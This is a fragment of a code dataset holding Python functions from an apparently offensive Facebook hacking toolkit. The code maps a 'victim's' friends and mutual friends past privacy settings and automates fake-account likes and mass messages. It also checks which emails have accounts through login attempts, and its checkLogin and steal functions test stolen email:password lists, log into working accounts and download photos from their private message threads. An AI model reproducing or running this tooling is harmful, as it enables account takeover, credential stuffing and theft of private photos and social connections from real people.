matchs.append(resultado[begin+match.start():matchEnd.end()+begin+match.start()])\n begin = matchEnd.end()+begin+match.start()\n match = None\n matchEnd = None\n else:\n break\n \n \n for linea in matchs:\n start = 0\n try:\n #Search the string to get the position of the starting match\n matchAnd = re.search('page\\.php\\?id=',linea[start:])\n #Search the end of the match for taking the id length\n matchEnd = re.search('\">',linea[start+matchAnd.end():])\n #If we have a start and an end, we have the id value\n except:\n print 'ERROR'\n \n \n if (matchAnd and matchEnd) is not None:\n #Appends the value given the proper position (resolved a few lines up)\n page.append(linea[start+matchAnd.end():start+matchEnd.start()+matchAnd.end() ])\n #Moves the pointer for next match\n start += matchEnd.start()+matchAnd.end() \n return page", "metadata": "root.corePagesLike", "header": "['module', '___EOS___']", "index": 1783 }, { "content": "def checkPrivacy(victim):\n try:\n response = br.open('https://www.facebook.com/'+str(victim)+'?sk=friends')\n resultado = response.read()\n match = re.search('All Friends',resultado)\n matchBis = re.search('Todos los amigos',resultado)\n matchBisBis = re.search('Todos mis amigos',resultado)\n if ((match is not None) or (matchBis is not None) or (matchBisBis is not None)):\n matchFriends = re.search('_1qp6(.+)\"',resultado).group()\n return matchFriends \n else:\n return -1\n except:\n print 'Error in the process, brute force will be applied ..'\n return -1", "metadata": "root.checkPrivacy", "header": "['module', '___EOS___']", "index": 1839 }, { "content": "def simpleGraph(friends, victim):\n coleccion = {}\n nodeID = 0\n\n root = 'dumps'\n directory = str(victim)\n \n mkdir(directory,root)\n \n myGraph = nx.Graph()\n myGraphLabeled = nx.Graph()\n \n coleccion[victim] = nodeID\n \n victima = nodeID\n myGraph.add_node(victima)\n\n nodeID += 1\n #Check if the file exists, if true append, else create and writes\n try:\n friendshipFile = open( os.path.join(root,directory,victim+\".txt\"),\"ab\")\n except:\n friendshipFile = open( os.path.join(root,directory,victim+\".txt\"),\"wb\")\n try:\n usersAndID = pickle.load(open(os.path.join('dumps',victim,victim+\"UserNamesIDindexed.txt\"),\"rb\"))\n except:\n print 'Something went wrong while loading the userId and usernames dictionary file! '\n\n try:\n myGraphLabeled.add_node(usersAndID[victim])\n except:\n myGraphLabeled.add_node(victim)\n \n total = len(friends)\n i = 0.0\n print 'Getting victim\\'s friends relashionship .. please wait, this is going to take a while...'\n print 'Get a coffee or something'\n for friend in friends:\n #Percentage calculus \n percentage = (i * 100.0)/total\n flush()\n print '\\rIterating on %d of %d - [%.2f%%] completed\\r' %(i ,total, percentage), \n i+=1\n friendshipFile.write(str(friend)+'\\n')\n \n try:\n mutual = coreFriendshipPrivacy(victim, friend)\n except:\n continue\n \n coleccion[friend] = nodeID\n nodeID += 1\n \n if myGraph.has_node(friend) != True:\n myGraph.add_node(friend)\n try:\n myGraphLabeled.add_node(usersAndID[friend])\n except:\n myGraphLabeled.add_node(friend)\n \n if myGraph.has_edge(victima, friend) != True:\n myGraph.add_edge(victima, friend)\n try:\n myGraphLabeled.add_edge(usersAndID[victim],usersAndID[friend])\n except:\n myGraphLabeled.add_edge(victim,friend)\n \n for element in mutual:\n if myGraph.has_node(element) != True:\n myGraph.add_node(element)\n myGraph.add_edge(element, friend)\n try:\n myGraphLabeled.add_node(usersAndID[element])\n myGraphLabeled.add_edge(usersAndID[element],usersAndID[friend])\n except:\n myGraphLabeled.add_node(element)\n myGraphLabeled.add_edge(element,friend)\n \n friendshipFile.close()\n \n mkdir('objects', os.path.join(root,directory))\n \n A = nx.adj_matrix(myGraph)\n saveObjects(victim, A, coleccion)\n \n nx.draw_spring(myGraph,node_color = np.linspace(0,1,len(myGraph.nodes())),edge_color = np.linspace(0,1,len(myGraph.edges())) ,with_labels=True)\n plt.savefig( os.path.join(root,directory,victim+\"graph_color.pdf\") )\n plt.savefig( os.path.join(root,directory,victim+\"graph_color.png\") )\n write_dot(myGraph,os.path.join(root,directory,victim+\"graph_color.dot\")) \n plt.show()\n\n nx.draw_spring(myGraphLabeled,node_color = np.linspace(0,1,len(myGraphLabeled.nodes())),edge_color = np.linspace(0,1,len(myGraphLabeled.edges())) ,with_labels=True)\n plt.savefig( os.path.join(root,directory,victim+\"graphLabeled_color.pdf\") )\n plt.savefig( os.path.join(root,directory,victim+\"graphLabeled_color.png\") )\n write_dot(myGraphLabeled,os.path.join(root,directory,victim+\"graphLabeled_color.dot\")) \n plt.show()", "metadata": "root.simpleGraph", "header": "['module', '___EOS___']", "index": 1855 }, { "content": "def friendshipPlot(text,victim):\n friends = []\n friendsID = []\n getFriends(victim)\n\n try:\n friendsFile = open(os.path.join('dumps',victim,victim+\"UserNames.txt\"),\"r\")\n except:\n print 'Something went wrong with the output file.. try again or debug :D '\n return\n while True:\n linea = friendsFile.readline()\n if not linea:\n break\n friends.append(linea.strip('\\r\\n'))\n print 'Wait while we get the user id\\'s of your victim\\'s friends '\n getUserIDS(victim)\n\n try:\n friendsIdFile = open(os.path.join('dumps',victim,victim+\"UserIDS.txt\"),\"r\")\n except:\n print 'Something went wrong with the output file.. try again or debug :D '\n return\n \n while True:\n linea = friendsIdFile.readline()\n if not linea:\n break\n friendsID.append(linea.strip('\\r\\n'))\n return friendsID, friends", "metadata": "root.friendshipPlot", "header": "['module', '___EOS___']", "index": 1968 }, { "content": "def coreFriendshipPrivacy(victim,transitive):\n friends = []\n try:\n response = br.open('https://www.facebook.com/'+str(victim)+'?and='+str(transitive)+'&sk=friends')\n resultado = response.read()\n match = re.search('timelineFriendsColumnHeader',resultado)\n if match is not None:\n linea = re.search('timelineFriendsColumnHeader(.+)',resultado).group()\n\n\n except mechanize.HTTPError as e:\n print e.code\n #Should handle a custom error\n raise\n except mechanize.URLError as e:\n print e.reason.args\n #Should handle a custom error\n raise\n #Error connection the upper function will catch the exception\n except:\n raise\n\n #Offset for the string search \n start = 0\n #While line matches the searched values\n while True:\n try:\n #Search the string to get the position of the starting match\n matchAnd = re.search('user\\.php\\?id=',linea[start:])\n #Search the end of the match for taking the id length\n matchEnd = re.search('&amp',linea[start+matchAnd.end():])\n #If we have a start and an end, we have the id value \n if (matchAnd and matchEnd) is not None:\n #Appends the value given the proper position (resolved a few lines up)\n toUserID = linea[start+matchAnd.end():start+matchEnd.start()+matchAnd.end()]\n if toUserID not in friends:\n friends.append(toUserID)\n #Moves the pointer for next match\n start += matchEnd.start()+matchAnd.end()\n #If the match ends (Equals of end of the line for the search)\n except:\n #Search for more friends (Ajax controled)\n match = re.search('/ajax/browser/list/mutualfriends/',resultado)\n if match is not None:\n #Call for the extendend friend search module\n extend = seeMore(len(friends),victim,transitive)\n #Return the merge of the lists\n return list(set(extend + friends))\n else:\n #In case there are no more friends, returns the original list\n return friends", "metadata": "root.coreFriendshipPrivacy", "header": "['module', '___EOS___']", "index": 1999 }, { "content": "def seeMore(start,victim,transitive):\n #vitimId and transitiveId needs to be IDS, instead of usernames. Is like a cast from the username to the Id\n #doesn't matter if the given argument is already the id.\n victimId = getUserID(victim)\n transitiveId = getUserID(transitive)\n #Disclosed friends container\n extendedFriends = []\n \n if (victimId == -1) or (transitiveId == -1):\n return extendedFriends\n \n \n #While there friends to disclosed in the particular union set\n while True:\n \n try:\n response = br.open('https://www.facebook.com/ajax/browser/list/mutualfriends/?uid='+str(transitiveId)+'&view=grid&location=other&infinitescroll=0&short=1&node='+str(victimId)+'&start='+str(start)+'&__user='+str(getC_user())+'&__a=1&__dyn=7n8ahyj35zolgDxqihXzA&__req=6')\n except mechanize.HTTPError as e:\n print e.code\n except mechanize.URLError as e:\n print e.reason.args\n except:\n raise\n \n #Strips the web response for further processes\n to_parse = str(response.read()).strip('for (;;);')\n \n try:\n #Converts the json web response to a python like object\n json_dump = json.loads(to_parse)\n except:\n print 'Error on json loading'\n #For non-blocking excecution - The upper function is excpecting a list to be returned\n return extendedFriends\n \n #Offset represents the start offset for non-repetition purpose\n offset = 0\n \n #Controls the end of the module excecution\n NoneFlag = True\n \n #Search for friends to be added\n for element in range(len(json_dump['jsmods']['require'])):\n if json_dump['jsmods']['require'][element][0] == unicode('AddFriendButton'):\n NoneFlag = False\n offset += 1\n extendedFriends.append(json_dump['jsmods']['require'][element][3][1])\n \n #If no friend was added, the excecution ends\n if NoneFlag:\n break\n \n #Increments offset from the start in the search\n start += offset \n \n #End of the while, returns the new list \n return extendedFriends", "metadata": "root.seeMore", "header": "['module', '___EOS___']", "index": 2051 }, { "content": "def getUserID(user):\n#Grabs the user Id using the OpenGraph\n try:\n response = br.open('https://www.facebook.com/'+str(user))\n data = response.read()\n #json_dump = json.loads(resultado)\n #try:\n # return json_dump['id']\n #except:\n # return -1\n \n except mechanize.HTTPError as e:\n print e.code\n return -1\n except mechanize.URLError as e:\n print e.reason.args\n return -1\n try:\n match = re.search(\"fb://profile/\",data)\n if match is not None:\n start = match.end()\n matchBis = re.search('\"',data[start:])\n if matchBis is not None:\n return data[start:start+matchBis.start()]\n except:\n return user", "metadata": "root.getUserID", "header": "['module', '___EOS___']", "index": 2110 }, { "content": "def dotFile(victim, transitive):\n\n root = 'dumps'\n directory = str(victim)\n \n mkdir(directory,root)\n \n myGraph = open( os.path.join(root,directory,victim+\"_dot.dot\") ,\"wb\")\n myGraph.write('Graph {\\n')\n \n #Percentage container\n percentage = 0.0\n #Disclosude friends container\n friendships = []\n #Already visited nodes container\n visited = [] \n try:\n #If the file already exists \n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"rb\")\n #Reads every line of the file\n while True:\n linea = friendshipFile.readline()\n if not linea:\n break\n #Store in the visited array for non repetition\n visited.append(linea.strip(\"\\n\\r\"))\n friendshipFile.close()\n\n except:\n #If the file does not exists, creates the file\n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"wb\")\n friendshipFile.close()\n \n \n try:\n #Generates the first level of the search\n result = coreFriendshipPrivacy(victim,transitive)\n except:\n print 'Check the internet connection please..'\n return\n \n #Stores non repetitive values in the disclosed friends container\n transitivo = getName(transitive)\n for individuos in result:\n if individuos not in visited:\n chabon = getName(individuos)\n myGraph.write(' \"'+transitivo + '\" -> \"' + chabon + '\";\\n') \n friendships.append(individuos)\n visited.append(getUserID(transitive))\n #Counter for percentage calculus purpose \n i = 0.0\n #flush\n print '\\r \\r',\n #For every value in the first disclosed list, repeats until every value has been tried \n for friends in friendships:\n #Percentage calculus \n percentage = (i * 100.0)/len(friendships)\n flush()\n print '\\rIterating on %d of %d - [%.2f%%] completed\\r' %(i ,len(friendships), percentage), \n i+=1\n #Only if the node wasn't visited \n if friends not in visited:\n #if coreFriendshipPrivacy() fails, an exception is caught. Therefore, state will still be True. \n #Only if the try passes, the infinite while will end. (For internet error connection problem)\n state = True\n while state == True:\n try:\n result = coreFriendshipPrivacy(victim,friends)\n state = False\n except signalCaught as e:\n state = False\n print 'Signal Caught handler'\n print '%s ' %e.args[0]\n return\n except:\n logs('Check the internet connection please.. Press enter when it\\'s done')\n print '\\r \\r',\n a = raw_input('\\rCheck the internet connection please.. Press enter when it\\'s done\\r')\n if a == 1:\n state = False\n else:\n if a == 2:\n email,password = setMail()\n login(email,password,'real')\n \n #Stores non repetitive values in the disclosed friends container\n friendName = getName(friends) \n for element in result:\n if element not in friendships:\n transitive = getName(element)\n myGraph.write(' \"'+friendName + '\" -> \"' + transitive + '\";\\n')\n friendships.append(element)\n \n #Stores every single value of friendships list already analysed for non repetitiveness\n visited.append(friends)\n \n #Check if the file exists, if true append, else create and writes\n try:\n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"ab\")\n except:\n friendshipFile = open( os.path.join(root,directory,victim+\".txt\") ,\"wb\")\n \n #Stores every userID for further analysis\n for friends in friendships:\n transitivo = getName(friends)\n myGraph.write(' \"'+victim + '\" -> \"' + transitivo + '\";\\n')\n friendshipFile.write(str(friends)+'\\n')\n \n myGraph.write('}')\n friendshipFile.close()\n myGraph.close()", "metadata": "root.dotFile", "header": "['module', '___EOS___']", "index": 2145 }, { "content": "def simpleDotGraph(friends, victim):\n root = 'dumps'\n directory = str(victim)\n \n mkdir(directory,root)\n \n myGraph = open( os.path.join(root,directory,victim+\"_dot.dot\"),\"wb\")\n myGraph.write('Graph {\\n')\n \n \n friendshipFile = open( os.path.join(root,directory,victim+\".txt\"),\"wb\")\n for friend in friends:\n friendshipFile.write(str(friend)+'\\n')\n friendshipFile.close()\n \n \n for friend in friends:\n try:\n mutual = coreFriendshipPrivacy(victim, friend)\n except:\n continue\n \n \n transitive = getName(friend)\n \n myGraph.write(' \"'+victim + '\" -> \"' + transitive + '\";\\n')\n \n for element in mutual:\n\n mutualFriend = getName(element)\n \n myGraph.write(' \"'+transitive + '\" -> \"' + mutualFriend + '\";\\n')\n\n myGraph.write('}') \n myGraph.close()", "metadata": "root.simpleDotGraph", "header": "['module', '___EOS___']", "index": 2257 }, { "content": "def getTest(appID):\n try:\n start = 0\n flag = 0\n while flag != -1:\n \n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n arguments = { \n 'start' : str(start),\n '__user' : getC_user(),\n '__a' : '1',\n '__dyn' : '7w86i1PyUnxqnFwn8',\n '__req' : '4',\n 'fb_dtsg' : fb_dtsg,\n 'ttstamp' : '26581707111311350113871144898',\n '__rev' : '1262242'\n }\n datos = urlencode(arguments)\n try:\n response = br.open('https://developers.facebook.com/apps/'+appID+'/roles/test-users/paging/',datos)\n aParsear = response.read().strip(\"for (;;);\")\n json_dump = json.loads(aParsear)\n flag = MyParser.parceros(json_dump)\n start+=20\n except:\n break\n except:\n print 'general error'", "metadata": "root.getTest", "header": "['module', '___EOS___']", "index": 2441 }, { "content": "def changePassword(appID): \n people = database.getUsers()\n peopleLogged = database.getUsersNotLogged()\n for persona in people:\n if persona in peopleLogged:\n try:\n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n arguments = { \n 'fb_dtsg' : fb_dtsg, \n 'name' : str(persona[1]),\n 'password' : '1234567890',\n 'confirm_password' : '1234567890',\n '__user' : getC_user(),\n '__a' : '1',\n '__dyn' : '7w86i1PyUnxqnFwn8',\n '__req' : 'a',\n 'ttstamp' : '26581698582558910610211811276',\n '__rev' : '1262776'\n }\n datos = urlencode(arguments)\n try:\n response = br.open('https://developers.facebook.com/apps/async/test-users/edit/?app_id='+appID+'&test_user_id='+str(persona[0]),datos)\n except:\n print 'error'\n except:\n print 'Error General'", "metadata": "root.changePassword", "header": "['module', '___EOS___']", "index": 2473 }, { "content": "def likeDev(postId):\n \n signal.signal(signal.SIGINT, signal_handler)\n try:\n #Cookie of the real account\n masterCookie = cj._cookies\n massLoginTest()\n \n if len(cookieArray) == 0:\n print 'First you must create accounts: option 1) '\n \n quantity = raw_input('Insert the amount of likes: ')\n \n while int(quantity) <= 0 or int(quantity) >= len(cookieArray):\n print 'Wrong quantity. First you must create enough accounts for that amount of likes .. (option 1) ..'\n quantity = raw_input('Insert the amount of likes: ')\n \n\n #Percentage container\n percentage = 0.0\n j = 0.0\n total = int(quantity) * len(postId)\n #flush\n print '\\r \\r',\n \n for i in range(int(quantity)):\n for post in range(len(postId)):\n cj._cookies = cookieArray[i]\n c_user = getC_user()\n try:\n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n arguments = {\n 'like_action' : 'true',\n 'ft_ent_identifier' : str(postId[post]),\n 'source' : '0',\n 'client_id' : str(c_user)+'%3A4047576437',\n 'rootid' : 'u_0_2o',\n 'giftoccasion' : '',\n 'ft[tn]' : '%3E%3D',\n 'ft[type]' : '20',\n 'nctr[_mod]' : 'pagelet_timeline_recent',\n '__user' : c_user,\n '__a' : '1',\n '__dyn' : '7n8ahyj35ym3KiA',\n '__req' : 'c',\n 'fb_dtsg' : fb_dtsg,\n 'phstamp' : '165816595797611370260',\n }\n \n \n datos = urlencode(arguments)\n response = br.open('https://www.facebook.com/ajax/ufi/like.php',datos)\n \n if globalLogging:\n logs(response.read())\n \n percentage = (j * 100.0)/total\n flush()\n print '\\r[%.2f%%] of likes completed\\r' %(percentage), \n j+=1\n \n except mechanize.HTTPError as e:\n print e.code\n \n except mechanize.URLError as e:\n print e.reason.args \n except:\n print 'Unknown error' \n \n cj._cookies = masterCookie \n raw_input('Finished like() module, press enter to continue')\n except signalCaught as e:\n deleteUser()\n message = '%s catch from create module' %e.args[0]\n logs(str(message))\n print '%s \\n' %message\n raw_input('Press enter to continue')\n return", "metadata": "root.likeDev", "header": "['module', '___EOS___']", "index": 2505 }, { "content": "def massMessage(page,message):\n import random\n \n massLoginTest()\n \n if len(cookieArray) == 0:\n print 'First you must create accounts: option 1) '\n return\n \n pageID = getUserID(page)\n \n for i in range(len(cookieArray)):\n try:\n cj._cookies = cookieArray[i]\n c_user = getC_user()\n print str(c_user)+'\\n'\n \n numero = ''\n numero2 = ''\n for i in range(10):\n numero += str(random.randrange(0,10))\n for i in range(10):\n numero2 += str(random.randrange(0,10))\n \n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n arguments = {\n 'message_batch[0][action_type]' : 'ma-type:user-generated-message',\n 'message_batch[0][author]' : 'fbid:'+c_user,\n 'message_batch[0][timestamp]' : '1401416840784',\n 'message_batch[0][timestamp_absolute]' : 'Today',\n 'message_batch[0][timestamp_relative]' : '11:27pm',\n 'message_batch[0][timestamp_time_passed]' : '0',\n 'message_batch[0][is_unread]' : 'false',\n 'message_batch[0][is_cleared]' : 'false',\n 'message_batch[0][is_forward]' : 'false',\n 'message_batch[0][is_filtered_content]' : 'false',\n 'message_batch[0][is_spoof_warning]' : 'false',\n 'message_batch[0][source]' : 'source:titan:web',\n 'message_batch[0][body]' : message,\n 'message_batch[0][has_attachment]' : 'false',\n 'message_batch[0][html_body]' : 'false',\n 'message_batch[0][specific_to_list][0]' : 'fbid:'+pageID,\n 'message_batch[0][specific_to_list][1]' : 'fbid:'+c_user,\n 'message_batch[0][force_sms]' : 'true',\n 'message_batch[0][ui_push_phase]' : 'V3',\n 'message_batch[0][status]' : '0',\n 'message_batch[0][message_id]' : '<1401416840784:'+numero+'-'+numero2+'@mail.projektitan.com>',\n '''<1401416840784:554304545-874733751@mail.projektitan.com>','''\n 'message_batch[0][client_thread_id]' : 'user:'+pageID,\n 'client' : 'mercury',\n '__user' : c_user,\n '__a' : '1',\n '__dyn' : '7n8ajEAMCBynUKt2u6aOGeExEW9ACxO4pbGA8AGGBy6C-Cu6popDFp4qu',\n '__req' : 'q',\n 'fb_dtsg' : fb_dtsg,\n 'ttstamp' : '26581697273111715585898748',\n '__rev' : '1268876'\n }\n \n datos = urlencode(arguments)\n response = br.open('https://www.facebook.com/ajax/mercury/send_messages.php',datos)\n \n if globalLogging:\n logs(response.read())\n \n except mechanize.HTTPError as e:\n print e.code\n except mechanize.URLError as e:\n print e.reason.args \n \n except:\n logs('Error en el modulo de massMessage()')\n print 'Error en el modulo de massMessage()\\n'", "metadata": "root.massMessage", "header": "['module', '___EOS___']", "index": 2587 }, { "content": "def massLoginTest():\n import copy\n i = int(0)\n people = database.getUsersNotLogged()\n #Flush\n print '\\r \\r',\n \n masterCj = copy.deepcopy(cj._cookies)\n loadPersistentCookie()\n\n for person in people:\n #login\n try:\n cj._cookies = copy.deepcopy(masterCj)\n if person[4] == 0:\n logTestUser(str(person[0]))\n cookieArray.append(cj._cookies)\n print cj._cookies #DEBUG\n cj.clear()\n \n #percentage\n i+=1\n percentage = (i * 100.0) / len(people)\n flush()\n print '\\rCompleted [%.2f%%]\\r'%percentage,\n except:\n print 'Error with user %s' %person[0]\n continue\n \n cj.clear()\n savePersistentCookie() ", "metadata": "root.massLoginTest", "header": "['module', '___EOS___']", "index": 2710 }, { "content": "def plotDOT(victim):\n root = 'dumps'\n directory = victim\n mkdir(directory,root)\n \n graph = open(root+\"\\\\\"+directory+\"\\\\\"+victim+\"_graph.dot\",\"wb\")\n \n graph.write(\"Graph {\\n\")\n \n victim = victim.replace(\".\",\"_\")\n nodes = database.getNodes(victim)\n for node in nodes:\n \n graph.write(\" \"+victim.replace(\"_\",\".\")+\" -> \"+node[0]+\";\\n\")\n \n edges = database.getEdges(victim,node[0],node[1])\n try:\n edgeList = edges[0][2].split(';')\n writed = []\n for individual in edgeList:\n if individual != \"\" and individual not in writed:\n graph.write(\" \"+node[0]+\" -> \"+str(individual)+\";\\n\")\n writed.append(individual)\n except:\n print 'No edges for %s' %node[0]\n \n graph.write(\"}\")\n graph.close()", "metadata": "root.plotDOT", "header": "['module', '___EOS___']", "index": 2742 }, { "content": "def dotFileDatabase(victim, transitive):\n\n #Percentage container\n percentage = 0.0\n #Disclosude friends container\n friendships = []\n #Already visited nodes container\n visited = [] \n \n try:\n #Generates the first level of the search\n result = coreFriendshipPrivacy(victim,transitive)\n except:\n print 'Check the internet connection please..'\n return\n \n #Stores non repetitive values in the disclosed friends container\n transitivo = getName(transitive)\n transitivoID = getUserID(transitive)\n \n if transitivoID == -1:\n transitivoID = transitivo\n \n database.addNode(victim,transitivo, transitivoID)\n \n for individuos in result:\n friendName = getName(individuos)\n friendId = getUserID(individuos)\n \n if friendId == -1:\n friendId = friendName\n \n database.addNode(victim,friendName, friendId)\n database.addEdge(victim,transitivo, transitivoID, friendName, friendId)\n friendships.append(individuos)\n\n \n #Counter for percentage calculus purpose \n i = 0.0\n #flush\n print '\\r \\r',\n #For every value in the first disclosed list, repeats until every value has been tryed \n for friends in friendships:\n #Percentage calculus \n percentage = (i * 100.0)/len(friendships)\n flush()\n print '\\rIterating on %d of %d - [%.2f%%] completed\\r' %(i ,len(friendships), percentage), \n i+=1\n #Only if the node wasn't visited \n if friends not in visited:\n #if coreFriendshipPrivacy() fails, an exception is caught. Therefore, state wis still being True. \n #Only if the try passes, the infinite while will end. (For internet error connection problem)\n state = True\n while state == True:\n try:\n result = coreFriendshipPrivacy(victim,friends)\n state = False\n except signalCaught as e:\n state = False\n print 'Signal Caught handler'\n print '%s ' %e.args[0]\n return\n except:\n logs('Check the internet connection please.. Press enter when it\\'s done')\n print '\\r \\r',\n a = raw_input('\\rCheck the internet connection please.. Press enter when it\\'s done\\r')\n if a == 1:\n state = False\n else:\n if a == 2:\n email,password = setMail()\n login(email,password,'real')\n \n #Stores non repetitive values in the disclosed friends container\n friendName = getName(friends)\n friendId = getUserID(friends)\n \n if friendId == -1:\n friendId = friendName \n \n database.addNode(victim,friendName, friendId)\n \n for element in result:\n if element not in friendships:\n \n friendTran = getName(element)\n friendTranId = getUserID(element)\n \n if friendId == -1:\n friendId = friendName \n \n database.addNode(victim,friendTran, friendTranId)\n database.addEdge(victim,friendName, friendId, friendTran, friendTranId)\n friendships.append(element)\n #Stores every single value of friendships list alredy analyzed for non repetitivness\n visited.append(friends)", "metadata": "root.dotFileDatabase", "header": "['module', '___EOS___']", "index": 2771 }, { "content": "def simpleDotGraphDatabase(friends, victim):\n\n \n for friend in friends:\n \n try:\n mutual = coreFriendshipPrivacy(victim, friend)\n except:\n continue\n \n \n transitive = getName(friend)\n transitiveID = getUserID(friend)\n \n if transitiveID == -1:\n transitiveID = transitive\n \n database.addNode(victim,transitive, transitiveID)\n \n for element in mutual:\n\n mutualFriend = getName(element)\n mutualFriendID = getUserID(element)\n \n if mutualFriendID == -1:\n mutualFriendID = mutualFriend\n \n database.addNode(victim,mutualFriend, mutualFriendID)\n database.addEdge(victim,transitive, transitiveID, mutualFriend, mutualFriendID)", "metadata": "root.simpleDotGraphDatabase", "header": "['module', '___EOS___']", "index": 2868 }, { "content": "def takePhotos(threads):\n r = open(os.path.join(\"massive\",\"fotos.txt\"),\"wb\")\n fb_dtsg = set_dtsg()\n f = open(os.path.join(\"massive\",threads),\"r\")\n threadList = []\n while True:\n linea = f.readline()\n if not linea:\n break\n threadList.append(str(linea.strip(\"\\n\")))\n \n i = 0\n \n for message in threadList:\n arguments = {\n 'thread_id' : message,\n 'offset' : '0',\n 'limit' : '30',\n '__user' : getC_user(),\n '__a' : '1',\n '__dyn' : 'aJj2BW9t2lm9b88DgDDx2IGAKh9VoW9J6yUgByVbFkGQhbHz6C-CEy5pokAWAVbGFQiuaBKAqhB-imSCiZ3oyq4U',\n '__req' : '40',\n 'fb_dtsg' : fb_dtsg,\n 'ttstamp' : '265816973899779122887410295',\n '__rev' : '1458973'\n }\n \n datos = urlencode(arguments)\n try:\n response = br.open('https://www.facebook.com/ajax/messaging/attachments/sharedphotos.php',datos)\n text = response.read()\n r.write(text + '\\n')\n except mechanize.HTTPError as e:\n logs(e.code)\n print e.code\n except mechanize.URLError as e:\n logs(e.reason.args)\n print e.reason.args \n except:\n logs('Error in robo de fotos')\n print '\\rError in robo de fotos\\r'\n raise \n \n try:\n to_parse = str(text).strip('for (;;);')\n resultado = json.loads(to_parse)\n \n URLS = []\n for element in resultado['payload']['imagesData'].keys():\n URLS.append(resultado['payload']['imagesData'][element]['URI'])\n \n for URL in URLS:\n fotos = open(os.path.join('massive','photos',str(int(time()))+'.jpg'),\"wb\")\n handler = br.open(URL)\n fotos.write(handler.read())\n fotos.close()\n i += 1\n \n URLS[:]\n except:\n print 'no attachment in thread'\n \n r.close()", "metadata": "root.takePhotos", "header": "['module', '___EOS___']", "index": 3007 }, { "content": "def accountexists(mailList):\n \n password = '#FBHTEnumerateUsers'\n mails = []\n try:\n mailFile = open(os.path.join(\"PRIVATE\",mailList),\"r\")\n except:\n print 'File %s doesn\\'t exist' %mailList\n return \n try:\n verified = open(os.path.join(\"PRIVATE\",\"existence\",\"verified.txt\"),\"a\")\n verified.close()\n except:\n verified = open(os.path.join(\"PRIVATE\",\"existence\",\"verified.txt\"),\"w\")\n verified.close()\n \n while True:\n line = mailFile.readline()\n if not line: break\n mails.append(line.strip('\\n'))\n \n mailFile.close()\n driver = webdriver.Firefox()\n \n for email in mails:\n # Access the login page to get the forms\n driver.delete_all_cookies()\n driver.get(\"https://www.facebook.com/\")\n assert \"Facebook\" in driver.title\n elem = driver.find_element_by_name(\"email\")\n elem.send_keys(email)\n elem = driver.find_element_by_name(\"pass\")\n elem.send_keys(password) \n elem.send_keys(Keys.RETURN)\n \n try:\n line = driver.page_source\n match = re.search('Por favor, vuelve a introducir tu contrase',line)\n if match is not None:\n print email + ' Cuenta existente :D !!'\n verified = open(os.path.join(\"PRIVATE\",\"existence\",\"verified.txt\"),\"a\")\n verified.write(email + '\\n')\n verified.close()\n else:\n print email + ' Cuenta inexistente :('\n except:\n logs('Fatal error while submitting the login form')\n print '\\rFatal error while submitting the login form\\r'\n \n \n driver.close() \n verified.close()", "metadata": "root.accountexists", "header": "['module', '___EOS___']", "index": 3071 }, { "content": "def checkLogin(mailList):\n global blocked\n \n try:\n verified = open(os.path.join(\"PRIVATE\",\"loggedin\",\"Loggedin.txt\"),\"a\")\n except:\n verified = open(os.path.join(\"PRIVATE\",\"loggedin\",\"Loggedin.txt\"),\"w\")\n try: \n mails = open(os.path.join(\"PRIVATE\",mailList),\"r\")\n except:\n print '%s doesn\\'t exist in PRIVATE folder' %mailList\n verified.close()\n return\n \n credenciales = {}\n while True:\n email = mails.readline()\n if not email: break\n index = email.find(\":\")\n if index != -1:\n credenciales[email[0:index]] = email[index+1:].strip('\\n')\n credentials = credenciales.keys()\n shuffle(credentials)\n for emails in credentials:\n try:\n if (login(emails,credenciales[emails],'real') != -1) or (blocked == 1):\n verified = open(os.path.join(\"PRIVATE\",\"loggedin\",\"Loggedin.txt\"),\"a\")\n verified.write(emails+':'+credenciales[emails]+'\\n')\n verified.close()\n print emails + ' valid email and passowrd!!! MOTHER KAKERRRRR :D '\n blocked = 0\n else:\n print emails + ' not valid email or password'\n except signalCaught as e:\n print 'Signal caught'\n return\n except:\n continue\n try:\n verified.close()\n except:\n return", "metadata": "root.checkLogin", "header": "['module', '___EOS___']", "index": 3124 }, { "content": "def steal():\n global blocked\n try:\n verified = open(os.path.join(\"PRIVATE\",\"loggedin\",\"Loggedin.txt\"),\"r\")\n except:\n print 'File Loggedin.txt not found in loggedin folder, you should try it again!'\n return\n \n credenciales = {}\n while True:\n email = verified.readline()\n if not email: break\n index = email.find(\":\")\n if index != -1:\n credenciales[email[0:index]] = email[index+1:].strip('\\n')\n \n for emails in credenciales.keys():\n if (login(emails,credenciales[emails],'real') != -1) or (blocked == 1):\n print emails + ' valid email and passowrd!!! MOTHER KAKERRRRR :D '\n if blocked == 1:\n blocked = 0\n print 'Account valid, but blocked due to location issues'\n else:\n check = checkPrivacy('me')\n username = checkMe(\"me\")\n friendList, friendsName = friendshipPlot(check,username)\n fileThreads = open(os.path.join(\"massive\",\"threads.txt\"),\"wb\")\n for friends in friendList:\n fileThreads.write(friends+'\\n')\n fileThreads.close()\n takePhotos(\"threads.txt\")\n else:\n sleep(10)\n print emails + ' not valid email or password'", "metadata": "root.steal", "header": "['module', '___EOS___']", "index": 3167 }, { "content": "def getUserIDS(username):\n usernameAndID = {}\n usernamesFile = open(os.path.join('dumps',username,username+\"UserNames.txt\"),\"r\")\n userIDSFile = open(os.path.join('dumps',username,username+\"UserIDS.txt\"),\"w\").close()\n userIDS = []\n usernames = []\n percentage = 0.0\n i = 0\n while True:\n linea = usernamesFile.readline()\n if not linea:\n break\n usernames.append(linea.strip('\\n'))\n total = len(usernames)\n for user in usernames:\n flush()\n percentage = (100.0 * i)/total\n print '\\rCompleted [%.2f%%]\\r'%percentage,\n userIDSFile = open(os.path.join('dumps',username,username+\"UserIDS.txt\"),\"a\")\n userID = getUserID(user)\n userIDS.append(userID)\n try:\n userIDSFile.write(userID+'\\n')\n usernameAndID[userID+'\\n'] = user\n except:\n print 'unknown error'\n userIDSFile.close()\n i += 1\n pickle.dump( usernameAndID , open(os.path.join('dumps',username,username+\"UserNamesIDindexed.txt\"),\"wb\"))", "metadata": 